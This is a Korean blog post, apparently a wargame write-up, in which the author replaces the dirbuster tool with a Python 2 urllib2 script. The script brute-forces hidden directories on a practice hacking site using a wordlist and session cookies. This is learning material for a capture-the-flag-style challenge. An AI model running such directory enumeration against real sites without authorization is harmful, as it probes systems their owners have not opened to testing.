http://www.neroa.com/q/?id=q1 의 2번 문제를 대상으로...
코딩 연습용으로 다시 짜봤습니다. 2번 풀려면 디렉터리를 무작위로 대입해서 풀어야되는데
아무것도 모를때는 dirbuster라는 툴..... 을 이용해서 했었는데 툴은 안쓰려는 지금의 마음가짐으로
다시 ㄱㄱ
directory-list-lowercase-2.3-small.txt
에서 한 단어씩 가져와서 대입. 리눅스 환경의 vi에서 쓰여진 것 같습니다. txt로 열면
구분자가 좀 이상하게 보입니다.
import urllib2 file = open("directory-list-lowercase-2.3-small.txt","r") for line in file: #파일에서 한줄씩 가져옴. req = urllib2.Request('http://neroa.com/level/2/'+line.split('\n')[0]+'/') #split로 줄내림을 잘 없애주고 문자열을 만듬. req.add_header('cookie','small_id=zzzzz; small_nic=zzzzz; system_id=zzzzz; system_nic=zzzzz') #로그인 정보 추가. print 'http://neroa.com/level/2/'+line.split('\n')[0]+'/' #현재 어떤 디렉터리 요청을 보내는지 출력 try: page = urllib2.urlopen(req).read() if page.find("""location.replace("/level/2/moon.htm")""") == -1 and line.split('\n')[0] !='admin': print urllib2.urlopen(req).read() break except: pass
반복문을 돌릴때 try, except를 쓴건 urllib2.urlopen으로 웹 페이지를 열 시에 404에러가 뜨면
아예 프로그램이 종료되기 때문에 에러가 안뜨는곳을 찾기 위해 try,except로 했습니다.
또 그냥 2/index였나 이런 페이지같을경우 location.replac로 원래 대문페이지인
moon.htm으로 돌아가게 하기에 이게 안 뜨면서, 2/admin/ 같이 url에 입력했을경우 404에러는
아니지만 빈 페이지가 출력되기에, 돌아가라는 메시지가 뜨지 않으면서 빈 페이지도 아닌, 그런 페이지를
찾는 알고리즘으로 짰습니다. 출력 결과는 dirbuster과 유사해 보임.
'Python > 2.7 information' 카테고리의 다른 글
정규표현식 (파싱) (0) | 2014.11.20 |
---|---|
소켓 파일 업로드 (webhacking.kr 37) (0) | 2014.10.25 |
소켓과 urllib2 속도차이 (2) | 2014.08.21 |
쓰레드,세마포어 기초 (0) | 2014.08.12 |
파이썬 소켓 기본. (2) | 2014.08.10 |